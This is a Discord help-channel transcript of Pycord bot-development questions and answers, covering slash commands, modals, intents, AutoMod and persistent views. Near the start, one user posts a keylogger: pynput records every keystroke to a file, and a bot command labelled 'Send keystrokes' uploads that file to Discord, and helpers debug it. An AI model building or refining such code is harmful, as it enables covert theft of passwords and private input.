#Basic Pycord Help

1 messages · Page 27 of 1

deft kestrel
#

thanks btw

sullen crane
#

ty

deft kestrel
#

What's the best way to check role hierarchy? For example for a mod command to see if the user's highest role is below the moderator's.

little cobalt
frail laurel
#

.rtfm discord.user

frail laurel
sly karmaBOT
lofty parcel
sullen crane
#

Hi idk whats been going on but recently my slash commands havent been working as in the slash commands wont show up as on option even when i refresh discord

bot = discord.Bot()

@bot.event
async def on_ready():
    print(f"{bot.user} is ready and online!")

dotenv.load_dotenv(dotenv_path="secrets.env")
bot.run(os.getenv('token'))


@bot.command(description="upload log", guild_ids=[int(os.getenv('guild_id'))])
async def uploadlog(ctx):
    if os.path.exists(log_dir):
        await ctx.send(file=File(log_dir))
    else:
        await ctx.send("None")
#

I feel like its a small mistake im making, and idk what it is

#

and yes, even when i remove guild_ids=[int(os.getenv('guild_id'))] from the command, it still doesnt show

errant trout
#

Did you override on_connect

sullen crane
#

Idk what that is

errant trout
#

Hmmm

#

And this is only a recent issue?

sullen crane
#

yeah

#

well tbh i stopped working on bots like 1 month ago, came back just recently

#

and no matter what code i write my slash commands wont show up

frail laurel
#

how to send user a DM message?

#

I mean, should I get user's id first

#

or what

errant trout
#

there's guild.get_member, bot.get_user if the user is cached

#

Or ctx.author.send, and so on

errant trout
sullen crane
# errant trout Can you show the full file

sure,

import discord
import os
import dotenv
import logging
from pynput.keyboard import Key, Listener
from discord.file import File

# SENDING INFO TO DISCORD BOT
bot = discord.Bot()

@bot.event
async def on_ready():
    print(f"{bot.user} is ready and online!")

dotenv.load_dotenv(dotenv_path="secrets.env")
bot.run(os.getenv('token'))


@bot.command(description="Send keystrokes", guild_ids=[int(os.getenv('guild_id'))])
async def uploadlog(ctx):
    if os.path.exists(log_dir):
        await ctx.send(file=File(log_dir))
    else:
        await ctx.send("None")

# LOGGING KEYSTROKES

log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))
    #if key == Key.esc:
        #    return False    
with Listener(on_press=on_press) as listener:
    listener.join()```
errant trout
#

bot.run should be last

#

any code after that will not run

frail laurel
#

I really don't want to ask such stupid questions, but I was searching for a way to send a user dm message in those docs, and this was the only thing I found

sullen crane
errant trout
shell radish
errant trout
sullen crane
errant trout
#

...can you show your new file

#

im pretty sure it's because you're trying to run your pyinput thing at the same time

sullen crane
#

but regardless

#
import discord
import os
import dotenv
import logging
from pynput.keyboard import Key, Listener
from discord.file import File



log_dir = ""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))
    #if key == Key.esc:
        #    return False    
with Listener(on_press=on_press) as listener:
    listener.join()



bot = discord.Bot()

@bot.event
async def on_ready():
    print(f"{bot.user} is ready and online!")

@bot.command(description="Send keystrokes", guild_ids=[int(os.getenv('guild_id'))])
async def uploadlog(ctx):
    if os.path.exists(log_dir):
        await ctx.send(file=File(log_dir))
    else:
        await ctx.send("None")


dotenv.load_dotenv(dotenv_path="secrets.env")
bot.run(os.getenv('token'))```
errant trout
#

are you sure the bot runs at all

sullen crane
#

oht

#

well now it isnt

errant trout
#

right, because your Listener is likely blocking the rest of the code

#

just like bot.run blocks the rest of the code, if you want to use the listener you'll need a more specialized implementation

sullen crane
#

ahaa

#

well holdon, let me comment out everything to do with the listener, cause i swear the issue isnt just bc of the listener

#

well. it appears i was wrong

#

thanks for the help

glossy latch
#

how to update the select menu without restart bot (the values gets from db file)

glossy latch
#

ok i can edit a view that sended before the restart?

sage tendon
#

pretty sure only if its a persistent one

#

or do you mean changing the view of a message?

glossy latch
#

when i send new one it shows to me the same as the old one

#

doesn't update the options

sage tendon
#

show the code you use to do that

#

nuh uh

#

only the lines that are relevant

glossy latch
#

what

sage tendon
#

I won't open an 8kb text file on mobile lmao

glossy latch
# sage tendon or do you mean changing the view of a message?

def get_select_options():
        clan_names = get_clan_names()
        options = [discord.SelectOption(label=clan_name, value=clan_name) for clan_name in clan_names]
        return options

    
def get_clan_names():
    data = load_clan_data(guild_id)
    clan_names = []
    for clan in data:
        clan_names.append(clan[1])
    return clan_names

@discord.ui.select(
        placeholder="Select the clan!",
        min_values=1,
        max_values=1,
        options = get_select_options()
    )
    async def select_callback(self, select, interaction):

sage tendon
#

I don't see any view being put in any message lol

glossy latch
#

i didn't understand anything 🙂

sage tendon
#

me neither

#

you wanna edit a message's view (?) but nowhere in the code you sent do you edit a message

glossy latch
#

nope

#

i want when i add some data into file the select menu update their options without restarting the bot

sage tendon
#

ah

#

well just edit the message to have a new view lol

lofty parcel
#

Everytime you instance a new view, your options get loaded

glossy latch
#

okey thanks for help

shy yew
#

hey everyone
hows going
hope ur all fine

ive been learning codes and arguments + the definitions
the only thing im struggling is how to implement or apply the logic
i am quite rookie in this but i still need help in applying without hesitation

I would appreciate if there is someone giving advices or help

sage tendon
#

show your code

limber wagonBOT
#
Tags (1)

update

frail ocean
#

?tag update

limber wagonBOT
frail ocean
#

i hate you

limber wagonBOT
#

dynoInfo There are no tags that match your search.

#

dynoInfo There are no tags that match your search.

lofty parcel
shy yew
sage tendon
#

lol

#

what do you even wanna do then

lofty parcel
sage tendon
#

i think they mean they didnt make any commands yet

frail ocean
lofty parcel
#

You don't know how to run a simple pip install -u?...

sage tendon
#

dark you really need to chill today lmao

red mist
#

check his roles

#

Then say that again

sly ember
#

why isnt it editing the embed?

red mist
#

Because the Embed object has no attribute called "edit"

#

.rtfm discord.Embed

red mist
#

You can append remove etc.

#

You'd need to basically first remove smth

#

Then add a new value

sage tendon
#

just remove this?

#

and i really recommend you use f strings instead of .format

shell radish
#

and more versatile

lethal loom
#

When i send a modal after a modal

Ignoring exception in modal <cogs.dev.tempvoice.enter_categorie_name object at 0x000002EA88C848D0>:
Traceback (most recent call last):
  File "C:\Users\jurek\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.11_qbz5n2kfra8p0\LocalCache\local-packages\Python311\site-packages\discord\ui\modal.py", line 341, in dispatch
    await value.callback(interaction)
  File "c:\Users\jurek\Documents\Development\Python\DC Bots\Xenority\Xenority-Main-Pycord-V2-PY\cogs\dev\tempvoice.py", line 571, in callback 
    await interaction.response.send_modal(enter_interface_channel_name(label="ändere den Kategorie namen", value="─┐➕│Join2Create│➕└─ ─", categorie=self.children[0].value, title="test"))
  File "C:\Users\jurek\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.11_qbz5n2kfra8p0\LocalCache\local-packages\Python311\site-packages\discord\interactions.py", line 1178, in send_modal
    await self._locked_response(
  File "C:\Users\jurek\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.11_qbz5n2kfra8p0\LocalCache\local-packages\Python311\site-packages\discord\interactions.py", line 1243, in _locked_response
    await coro
  File "C:\Users\jurek\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.11_qbz5n2kfra8p0\LocalCache\local-packages\Python311\site-packages\discord\webhook\async_.py", line 222, in request
    raise HTTPException(response, data)
discord.errors.HTTPException: 400 Bad Request (error code: 50035): Invalid Form Body
In type: Value must be one of {4, 5, 6, 7, 10}.

Code:

    def __init__(self, label="Name vom Kategorie", value="─┐:heavy_plus_sign:│Join2Create│:heavy_plus_sign:└─ ─", *args, **kwargs):
        super().__init__(*args, **kwargs)

        self.label = label
        self.value = value

        self.add_item(discord.ui.InputText(
            required=True,
            max_length=25,
            label=label,
            value=value,

            style=discord.InputTextStyle.short
            ))

    async def callback(self, interaction: discord.Interaction):
        print(self.children[0].value)
        await interaction.response.send_modal(enter_interface_channel_name(label="ändere den Kategorie namen", value="─┐:heavy_plus_sign:│Join2Create│:heavy_plus_sign:└─ ─", categorie=self.children[0].value, title="test"), type=5)
        
class enter_interface_channel_name(discord.ui.Modal):
    def __init__(self, label, value, categorie, *args, **kwargs):
        super().__init__(*args, **kwargs)

        self.label = label
        self.value = value
        self.categorie = categorie

        self.add_item(discord.ui.InputText(
            required=True,
            max_length=25,
            label=label,
            value=value,

            style=discord.InputTextStyle.short
            ))

    async def callback(self, interaction: discord.Interaction):
        print(self.children[0].value)
        print(self.categorie)```
errant trout
#

because you can't

#

you have to send a separate button or select menu to send another modal

lethal loom
#

Ah okay

#

thx

sage tendon
frail ocean
#

Can someone help me? I have a server on 5k servers which only gets the member intents. The Bot have 5 shards. Other bots from me with all intents start instant. How can i speed up the bot starting

shell radish
frail ocean
shell radish
#

I don't know

frail ocean
#

Via support

frail ocean
#

I request presence intents

frail ocean
shell radish
#

ok

sage tendon
#

so that's why huge bots can take hours to start

frail ocean
#

Thats crazy

granite pier
#

you can always do it in the background in some way too

#

and fetch when needed

frail ocean
granite pier
frail ocean
granite pier
#

i ask what exactly you do with them or what you need them for

frail ocean
frail ocean
shell radish
#

?

granite pier
#

and set permissions in?

#

u dont need members for setting perrmissions for channels or roles

#

you could even use discord.Object thats why im asking

#

also slash cmd resolve members/users

frail ocean
#

I have user selects. Without member intents it doesnt work. Events too

lofty parcel
#

Your bot is taking too long to start completely because it is caching everyone on startup

granite pier
errant trout
#

But it does cause some other complications; ultimately depends on your goal

frail ocean
errant trout
#

I mean it depends on if you rely on the member cache

#

Like doing get_member

#

Or iterating through guild.members to check stuff, etc

#

Or if you use events such as on_member_update, you need to switch to using the raw variants

#

That being said you can still do guild.fetch_member, and if you receive a member through another event or interaction it'll remain cached

minor crescent
#

i have views that are initiated with parameters (they're used for punishment verification)

how can I make these views persistent (since I can't just add_view() in on_ready since they have parameters)

errant trout
#

The idea behind persistent views is you more or less recreate the environment they were sent in before

#

Either that, or rework the callback to work with a more limited set of data

frail ocean
errant trout
#

...I already listed everything above

#

Without caching, your bot will start quicker but it'll start with very few members; all being the bot member in each server

#

Whenever a user uses a command or other interaction, they'll also be added to the cache

#

When you have a large bot, you have to make a lot of careful calculations on what is and isn't necessary

#

If you need all the members cached, you have to accept it'll take a long time to start

#

Otherwise, you can rework your stuff to purely work on raw events; it just takes a bit more knowhow and you lose out on some convenience

deft kestrel
#

ik its a dumb but is there a way to make a optional argument?

hazy turret
#

Can someone help me and tell me why I can still see and execute a slash command from a cog, even though the cog is successfully unloaded and I cannot unload it a second time and then get the message that the cog is not loaded?

@bot.command(name="unload", hidden=True)
@commands.is_owner()
async def unload(ctx, *, module: str):
    """Unloads a cog."""
    try:
        bot.unload_extension(module)
        await ctx.send(f"`{module}` unloaded.")
    except Exception as e:
        await ctx.send(f"Error while unloading `{module}`: {e}")```
deft kestrel
little cobalt
deft kestrel
lofty parcel
hazy turret
little cobalt
deft kestrel
#

can someone tell me how to get a user permisions?

deft kestrel
lofty parcel
#

Yes you do. That's why they exist.

deft kestrel
#

now i got a thing that i wont find in docs i think

lofty parcel
#

Everything is in the docs. They're just presented in a more general (or abstract?) form

lapis dock
#

.rtfm discord.Member.permissions

sly karmaBOT
#

Target not found, try again and make sure to check your spelling.

deft kestrel
#

its guild_permision

lapis dock
#

👍

lapis dock
deft kestrel
#

ima try

deft kestrel
lapis dock
#

what is the question?

deft kestrel
#

When someone dosent have perms to use a command it dosent show up

deft kestrel
#

which means its possible

#

(i think)

lofty parcel
#

That's an error raised by the decorator that checks the permission.

deft kestrel
#

and is this required for the on_message() event? class MyClient(discord.Client):
async def on_message(self, message):
if message.author == self.user:
return

    if message.content.startswith('$hello'):
        await message.channel.send('Hello World!')
lapis dock
# deft kestrel When someone dosent have perms to use a command it dosent show up

That is something that server admins have to set up.
You can set a discord.commands.default_permissions but this can be overridden by the server admins. It is mainly for not allowing users to use admin commands when the bot first joins before admins set correct permissions, Each server can set permissions for what roles/user/channels a command can be used in.

Server admins can edit these permissions in
Server Settings -> Integrations -> <Your Bot> -> <Your Command>

If you absolutely only want people with, for example, ban permissions you will have to use discord.ext.commands.has_permissions but this will not hide the command from users, in general you do not want to use this option.

lapis dock
#

Client is just something that has less features than bot, but bot has all of clients features

deft kestrel
#

when i try it it dosent work tho

#

How to check whether a user's top_role is higher than the bot's top_role? I don't know how to get the client's top role in a guild

deft kestrel
#

??

#

I don't want to catch an error, I want to make a check before I do anything

#

when the user's top_role is higher

#

its impossible then i think

deft kestrel
#

Thanks I appreciate it

little cobalt
#

or bot.user

deft kestrel
#

can someone explain why people even use discord.ext

#

or cogs

little cobalt
#

Take a look at the examples ;3

deft kestrel
#

so to use prefixes?

little cobalt
#

commands is for prefixes and slash commands got are at the name slash

deft kestrel
#

ok

little cobalt
#

?tag client

limber wagonBOT
#
discord.Client # just for events
discord.Bot # events + slash/user/msg commands
commands.Bot # above + prefixed commands
bridge.Bot # above + bridge commands (application commands and text commands in one)
deft kestrel
#

why default_member_permissions=discord.Permissions.manage_messages dosen't work?

lapis dock
lapis dock
deft kestrel
lapis dock
#

Can you show what code you have

deft kestrel
#

@bot.slash_command(description="Bulk Purges messages" ,default_member_permissions=discord.Permissions.manage_messages)
deft kestrel
#

nvm

deft kestrel
lapis dock
lapis dock
#

Permissions().manage_messages

deft kestrel
deft kestrel
#

i alr have

#

a permission check

lofty parcel
#

client.user returns a user object, not a member object of the guild

deft kestrel
#

the only events that ever worked for me is on_ready()

little cobalt
little cobalt
deft kestrel
deft kestrel
lofty parcel
#

You must also define it on your code

deft kestrel
lofty parcel
#

Yeah

frail laurel
#

Is there any tutorial in terms of editing bot's existing messages?

errant trout
#

if you have an ID and channel, you can either fetch the message first (if you need some existing data from it) or make a partial message and edit without caring for the existing content

#

if you need to do it in a command after already sending then you can do it in place py m = await ctx.send(...) await m.edit(...) ... await ctx.respond(...) await ctx.edit(...)

sage tendon
deft kestrel
sage tendon
#

presences too?

deft kestrel
#

that one no

#

i feel better having all

sage tendon
#

"feel better" what

#

again, if you dont need it, dont request it
completely unnecessary

#

and if you never use the intents you request, actually has slight performance downsides :)

deft kestrel
#

its slight

sage tendon
#

well, can't make you shrug just a tip on best practices

deft kestrel
sage tendon
#

events work just fine

deft kestrel
#

dont work for me

sage tendon
#

Thats a very different statement and issue

deft kestrel
#

on_member_join dont work

#

on_message aswell

#

only on_ready(

sage tendon
#

again, it works just fine if you do it right

#

so you did something wrong

#

make a new post and show your code again

deft kestrel
sage tendon
#

core library

deft kestrel
sage tendon
#

#1222573010699948033 message reminder

round heart
#

I wanted to ask a general Discord question first but don’t want to get yelled at, so I’ll just ask the pycord question 😛

Emoji seems to have a roles member. Does this allow emoji to be created and only usable by those roles (IOW, is that actually functional?)

I ask because I don’t see any similar controls in the UI and curious if it’s just one of those few api-only things

sage tendon
#

hm interesting, never saw that before

#

i'd actually reckon it's a legacy feature from LONG back

#

actually no..?

#

i think server subscriptions have emojis per tier, right?

#

I think it could be that

round heart
#

Maybe. Is there a way to put someone in a subscription without them paying discord directly? Or is it all gated through that; I like the tiering, just want to be able to define our own rules for that

sage tendon
#

nope

#

and it's still US and UK only

round heart
#

Dumb. Well I'll probably be stubborn and see what happens if I try to put role restrictions when adding emojis. The Create Guild Emoji says nothing about subscriptions, just role ids.

#

Also,

An emoji cannot have both subscription roles and non-subscription roles.
implies that you can have non-subscription role restrictions.

sage tendon
#

weird

#

well, then i can say in all my time on discord, i have never heard of role locked emojis
outside of subscriptions

#

now i'm curious about it too

#

@ me if you find out

errant trout
#

this has been fully functional for years, but never made it to the discord UI for some reason

sage tendon
#

wtf?

#

why?

errant trout
#

idk man

sage tendon
#

i mean to be very fair it is kind of pointless? but it seems weird they made it (work), but never made it possible to use without bots lol

errant trout
#

it might exist for some automatic integration with patreon but i've never set that up myself

sage tendon
#

i did

#

but

#

it doesnt use that at all

#

the patreon bot is fucking terrible

deft kestrel
#

What's the easiest way to have async with typing() for duration of all my commands?

sage tendon
#

what even is that and what do you need it for

deft kestrel
sage tendon
#

Alright, another block to my blocklist

#

sorry for trying to help

#

typing() could be literally anything

#

doesn't have to be from pycord

grizzled loom
#

as far as i understood it it forces a certain type, didn't understand the question either.

deft kestrel
#

My apologies then, but this isn't the first time

grizzled loom
#

and no, not really a pycord question, but i am curious

deft kestrel
#

Does anyone know how to wrap typing() for every (bridge) command?

sage tendon
#

Shot in the dark but you could edit the actual bridge command code maybe?

#

like of the decorator

grizzled loom
#

id probably just throw some function in utils and call it each time, only to learn there is a better, cleaner way a couple of days after building and implementing it everywhere thinkCat

deft kestrel
#

Right, lol. I thought I'd ask here so I do it the most efficient way from the get-go, thanks for the help though guys

grizzled loom
#

I wasnt trolling though. this might be a good question for this python-general server. hang on

deft kestrel
#

This is very pycord specific though

#

What to do? Why does this happen?

sage tendon
sage tendon
grizzled loom
#

my post got blocked, apparently the bot is allowed to share the link but i am not D:

sage tendon
#

lmao

grizzled loom
sage tendon
#

another thing i just thought of is, you could make your own decorator that does that

deft kestrel
#

That works too

#

I'm trying something like

def typing_during_command():
    def wrapper(func):
        async def wrapped(ctx, *args, **kwargs):
            async with ctx.typing():
                await func(ctx, *args, **kwargs)
        return wrapped
    return wrapper
#

but it doesn't work as expected

grizzled loom
#

why ctx? * args * * kwargs should take it all and also work where you dont have applicationContext

sage tendon
#

currently have not a clue why there need to be 3 nested functions

#

wtf

#

ah because its async?

weary meteor
#

how do i use emojis from different servers in the bot? for some reason some bots can but i cant using like the id and emoji name

sage tendon
#

the bot needs to be in the server that emoji is in

deft kestrel
#
def typing_during_command():
    def wrapper(func):
        async def wrapped(*args, **kwargs):
            async with args[1].typing():
                await func(*args, **kwargs)

        return wrapped

    return wrapper

This does show the bot typing, but it fucks with my command parameters.

sage tendon
#

how?

deft kestrel
#

Beats me!

sage tendon
#

what

deft kestrel
#

I get missing 1 required positional argument for a command that worked fine before with the same syntax

sage tendon
#

from where exactly

deft kestrel
#

e.g. my ban command has the following params: self, ctx, target: discord.User, *, reason: str = None, which works fine

but when I apply that function to the cmd (@typing_during_command()) it types but raises "Moderation.ban_command() missing 1 required positional argument: 'target'"

sage tendon
#

why do you have *, in your command?

#

oh bridge right?

deft kestrel
#

yep

sage tendon
#

hm

#

maybe try with the *, in the decorator then?

deft kestrel
#

Oh! I think that * indeed fucks with *args because it collects everything behind it into a tuple called args, but I don't know how to fix that

#

Can't add it it the decorator, that seems weird

edgy nest
#

your decorator might be screwing with how self is injected

#

not sure though

#

you could try printing them out to see what you have

#

& how are you invoking the command

deft kestrel
#

the command is just part a cog, should I add self to the wrapped params maybe?

#

because right now self is args[0]

edgy nest
#

that should be fine

#

do you have a full traceback for your error

errant trout
#

is this for prefix commands?

edgy nest
#

looks like it

deft kestrel
#

bridge

errant trout
#

hm

deft kestrel
#

tb:

core-1     |   File "/usr/local/lib/python3.11/site-packages/discord/ext/bridge/bot.py", line 144, in invoke
core-1     |     await ctx.command.invoke(ctx)
core-1     |   File "/usr/local/lib/python3.11/site-packages/discord/ext/commands/core.py", line 959, in invoke
core-1     |     await injected(*ctx.args, **ctx.kwargs)
core-1     |   File "/usr/local/lib/python3.11/site-packages/discord/ext/commands/core.py", line 189, in wrapped
core-1     |     raise CommandInvokeError(exc) from exc
core-1     | [2024-03-28 19:42:34] [Racu.Core] [CommandHandler] on_command_error: Command raised an exception: TypeError: Moderation.unban_command() missing 1 required positional argument: 'target'
errant trout
#

i'd just override bot.process_commands

#

because it's only 4 lines

edgy nest
#

you could do that

#

wrap process_commands in typing

#

well maybe not right there

deft kestrel
#

Oh 🤔 that works i guess

errant trout
#
    async def process_commands(self, message: Message)
        if message.author.bot:
            return

        ctx = await self.get_context(message)
        await self.invoke(ctx)```
edgy nest
#

cus that would do every message

#

after get_context would probably work fine

deft kestrel
#

I'll try that

errant trout
#

you'd just wrap the last line

edgy nest
#

whichever line actually invokes the command

deft kestrel
#

Lol, that works. Thanks Nelo

stray pasture
#

Am I the only one getting a lot of 503 in the last days ?

sage tendon
#

i havent gotten any, but usually 5xx aren't your own fault

errant trout
#

there's a PR for auto-retrying 503s

#

or upgrade to master if you don't mind risks in having every new pr

deft kestrel
errant trout
#

mhm

#

process_commands always takes a message

#

(by default, it's ran on every single message)

stray pasture
#

I see thank you !

deft kestrel
errant trout
#

oh i see

#

add a check for ctx.command before typing

gusty scaffold
#

Trying to shard my bot, however replacing my discord.Bot with discord.AutoShardedClient throws the error AutoShardedClient has not attribute command

gusty scaffold
#

misread docs 😳

long pendant
#

Is there anyway to wait for embeds to load when a message is sent? Whenever I send a message with a discord link that links to a file(EG: A gif), the message that is returned in the on_message event does not have any embeds. But when I send a second message with the same link, the message now shows that it has an embed

errant trout
#

Most large sites should process it within a second or two, but others may take longer

long pendant
#

Alright, I guess I'll try and do that then. Thank you for the help

red mist
#

.. Wai shit now I'm insecure

#

😵‍💫

grizzled loom
red mist
#

I forgot how to breathe

grizzled loom
#

😂 gotta love how passionate some get over such details. (happens to me too at times)

red mist
#

it's not a detail if it's just trying to help someone but then being wrong and sending them in the wrong direction

#

You've no idea how much guilt I feel when that happens

grizzled loom
#

seen it, that's why i wanted to calm you a bit

#

maybe cause edit is used before the embed was ever sent?

frail ocean
#

Can someone show me a example from a autoModAction which has timeout in it?

sly ember
#

how can i fix those type of errors?:

An error occurred: Application Command raised an exception: NotFound: 404 Not Found (error code: 10062): Unknown interaction

little cobalt
sly ember
#

no

little cobalt
#

if it takes more than 3 seconds for the message you have to defer it

sly ember
little cobalt
#

do you use interaction or ctx.respond?

lofty parcel
#

Showing your code would be useful.

little cobalt
#

also that ^

frail ocean
sly ember
#

here the code

lofty parcel
frail ocean
#

timeout_duration=timedelta(seconds=60)
This doesnt work

lofty parcel
#

Remove the defer before responding

hazy turret
#

Is there a way to access the content of the start message in a thread without loading this message from the cache?
Because after a bot restart the content is no longer found so that the whole thing only works as long as the bot has not been restarted?

thread = interaction.message.channel

if isinstance(thread, discord.Thread):
    starting_message_content = (thread.starting_message.content if thread.starting_message else None)
sage tendon
#

just... type timeout_duration=60?

lofty parcel
sage tendon
#

or well, probably in minutes, so 1

lofty parcel
#

Read the docs

sage tendon
#

ah ok nvm :3

sly ember
hazy turret
frail ocean
#

Doesnt work.

#
actions=[
                        discord.AutoModAction(action_type=discord.AutoModActionType.block_message,
                                              metadata=discord.AutoModActionMetadata(
                                              custom_message="You have one or more words in your message that are forbidden on this server.",
                                              timeout_duration=datetime.timedelta(seconds=60)))]```
sage tendon
#

well, whats the error?

#

...dude

#

your actiontype isnt timeout

#

of course it won't.... timeout then

#

you are misunderstanding the entire architecture of the thing

frail ocean
#

?

sage tendon
#

nevermind

#

your indentation is just wrong lol

#

but thats probably because of discord

#

but yea, make it of type timeout

hazy turret
# frail ocean ```py actions=[ discord.AutoModAction(action_type=discor...

You can define several actions as in the example here:

actions = [
    discord.AutoModAction(
        action_type=discord.AutoModActionType.block_message,
        metadata=discord.AutoModActionMetadata(),
    ),
    discord.AutoModAction(
        action_type=discord.AutoModActionType.send_alert_message,
        metadata=discord.AutoModActionMetadata(channel_id=log_channel.id),
    ),
    discord.AutoModAction(
        action_type=discord.AutoModActionType.timeout,
        metadata=discord.AutoModActionMetadata(
            timeout_duration=timedelta(minutes=30)
        ),
    ),
]```
sage tendon
#

honestly the whole thing is kind of weird

#

should've just made the action types kwargs

#

so you dont have to do.... that

frail ocean
frail ocean
sage tendon
#

the same way you get any other channel lol

#

or just hardcode an ID there

hazy turret
frail ocean
sage tendon
#

what do you even mean with that

hazy turret
frail ocean
#

Cant you set a channel which is for every auto mod rule standarf

lofty parcel
#

And do proper checks if it doesn't exist...

frail ocean
#

Okay

weary meteor
#
import discord
from discord.ui import Button, View

class BuyButton(View):

    def __init__(self, acc_id):
        super().__init__(timeout=None)
        self.add_item(Button(label="Buy", style=discord.ButtonStyle.primary, custom_id=str(acc_id)))

    async def on_button_click(self, interaction: discord.Interaction):
        await interaction.response.send_message(f"My account id is {interaction.custom_id}")

i am basically making a button that is added to the embed created by a command, i just need a way to differentiate between them using an acc_id given by the command while also being persistent, but im not sure what im doing wrong since clicking the button doesnt do anything

shell radish
#

on_button_click does not exists

weary meteor
#

yeah i put that there as an example, how would i get the button to realize its been clicked?

shell radish
weary meteor
#

the issue with using the decorator is that i cant pass in the acc_id the view was given

lofty parcel
#

Then subclass the button instead

#

I, uh, believe there's an example?

#

Or I'll just write one

#
class MyButton(discord.ui.Button):
      def __init__(self, acc_id):
           super().__init__(label=..., style=..., custom_id=str(acc_id))
      
     async def callback(self, interaction):
          ...


myview = discord.ui.View(timeout=None)
myview.add_item(MyButton(acc_id)
#

Don't know if you'd need to subclass View too for persistent? @shell radish

weary meteor
#

Im looking at this bit here i was just following it but to make it persistent id need to add a view to bot.add_view right but you've made a button, idk if i missed sum tho lol

shell radish
lofty parcel
#

@weary meteor ^

shell radish
#

but in this case since the component has a dynamic custom_id, it doesn't work

weary meteor
#

yep, so what should i do in this case?

shell radish
#

what is the acc_id

weary meteor
#

its whatever is supplied by the command when ran, im also storing the acc_id in a database if that helps

lofty parcel
#

Subclassing a view that adds the button

#

And just pass None

#

I have dynamic views like that. Except adding the component manually

shell radish
#

specifically

weary meteor
shell radish
#

how is "whatever the command passes" generated?

lofty parcel
#

I think he means it's an arg

weary meteor
#

ah my bad, i see what u mean, its an argument in the command

lofty parcel
#

The user running the command passes an ID

weary meteor
#

yep

shell radish
#

I'm probably over thinking it, but you can cache that with its message ID somehow right?

weary meteor
#

if by cache you mean store the message id in the database, yeah i could for sure

shell radish
#

does it have to be persistent?

weary meteor
#

yep

shell radish
weary meteor
#

im not sure what u mean by subclassing then, like class buttonorwtv(View): and then make my button in here using the decorator or?

shell radish
#

@lofty parcel

lofty parcel
#

Is there any reason the button's custom ID must be the acc id?

weary meteor
#

yeah its to track which button gets clicked and resond based off the accid

lofty parcel
#

You could just do that with a var in the view

#

After all the check is internally

weary meteor
#

wdym? since im creating these buttons everytime a command is ran, the acc id should be put as the custom id for each button that gets created so i need use the id that gets passed in from there, i dont really think i can do it internally

shell radish
lofty parcel
#

Isn't that right

weary meteor
#

it also needs to stay persistent

lofty parcel
#
class MyView(discord.ui.View)
      def __init__(self, acc_id)
            super().__init__(self, timeout=None)
            self.acc_id = acc_id

      @discord.ui.button(label=..., style=..., custom_id="AccButton")
       async def callback(self, button, interaction)
           # you can access the acc_id with self.acc_id
#

And when adding the view on on_ready try

bot.add_view(MyView(None))
#

Try that and see if it works

weary meteor
#

oml i never even thought of this, i dont need to bother setting the custom id lmao

#

this works perfectly for me

shell radish
lofty parcel
#

Eh, ✨ tias ✨

weary meteor
#

oh ur right it wont since the button is created once upon the command being ran

lofty parcel
#

Try it and see.

#

Otherwise we'd need to look for another approach

shell radish
# lofty parcel Eh, ✨ tias ✨

and also wouldn't it not work since every single view will only use the latest view, and not the instance of the view that created the components?

#

because of custom_id

lofty parcel
#

OK sherlock calm down

shell radish
#

:(

errant trout
#

the very point of custom_id is to keep identifiable data that you can work from

#

for any long term systems, it's essential to store them outside the bot to check through restarts

#

(and to be more secure it's preferable you also save the message id, but it's not necessary)

#

for certain setups you could get away with not saving anything, but it really depends on your structure

weary meteor
#

right so i thought of another method, might be overthinking it but

#

when i run the command, ill create the button as normal and add it to the embed, and store the message id in the db, then in on ready ill itterate thru the message ids and add the corresponding button with the custom id, that way in theory itll stay persisten while also retaining the custom id no matter what right?

#

lmk if i thought someting wrong lol

errant trout
weary meteor
#
ov = created_channel.overwrites_for(interaction.user)
        ov.send_messages = True
        ov.read_messages = True```
am i not able to do this anymore? i did this in an old bot to set overwrites but now it throws an error
errant trout
#

It still works fine

lethal loom
#

why my button dont disable?

    def __init__(self, label):
        super().__init__(
            label=label,
            style=discord.enums.ButtonStyle.green,
            custom_id="interaction:temp_voice_next_step_2",
        )

        self.label = label

    async def callback(self, interaction: discord.Interaction):
        self.disabled = True```
flat wind
#

Can I force a user to choose a value I have in a basic_autocomplete ?
example : if the value the user entered is not in the autocomplete, then the command can not be sent

red mist
#

You can put in default values

deft kestrel
#

Does anyone know to properly use send_command_help(command) from HelpCommand in other instance than the help command, for example in Error Handling? Ideally on some errors, I'd send the command help from my HelpCommand as a response directly.

grizzled loom
deft kestrel
#

That's a fair solution. I kinda got something to work by putting the part where it creates the embed from send_command_help(command) into another (static) method & using that in both my HelpCommand class and Error Handling, the only downside is that I have to manually pass the used prefix to it.

grizzled loom
pliant tusk
pliant tusk
#

the default behaviour of Bot.on_command_error still runs

#

ie prints the exception to stderr

#

but the docs say

This only fires if you do not specify any listeners for command error.

#

WAIT NO

#

it's all good

#

i'm just stupid

vestal folio
#

Wie kann ich denn so was machen

#

Mit PyCord

sage tendon
#

nennt sich user command

lethal loom
#

I dosnt can send a normal message after a interaction.edit()?

shell radish
#

interaction.channel.send

robust ginkgo
#

When I am getting an HTTP Timeout error, is it to do with when adding/removing member's roles or changing their nickname?

#

If you need me to get the full error, I can do so.

shell radish
robust ginkgo
robust ginkgo
shell radish
#

probably a connection issue then

#

imo

robust ginkgo
# shell radish probably a connection issue then

This has been an issue for a while, basically it checks peoples roles and upadtes them when needed.

Every time I used the command on the entire server it would eventually show that error. But today it is not showing that error for some reason.

#

@shell radish ok i got the error

#

one sec

rugged lodgeBOT
round heart
#

Sort of a general question, but directly applicable to issues I have with discord bots -- does anyone have good mitigation for when DNS errors happen and the bot altogether stops without crashing?

This isn't a 503 error so I don't think the recent PR will help.

I guess I could capture the socket.gaiaerror somehow to quit the program, then run the main process under a supervisor or something, but can I even capture that globally?

low solar
#

hello, can i somehow make an command that sends a message to every user that can see the channel the command was executed on?

round heart
sage tendon
#

they mean DMs

round heart
#

Do they though? I get why you think that (and you might be right), but the question itself was ambiguous. Technically I'm currently sending a message that everyone that can see this channel can read.

errant trout
#

...rather than being pedantic, "send a message to every user" feels rather self explanatory

#

just iterate through channel.members

sage tendon
#

"message to" means direct message
i highly assume they know how to send a message into the very channel they're in

#

tho i fail to see any proper use for what they're trying to do, hence i'm asking why they need that

low solar
#

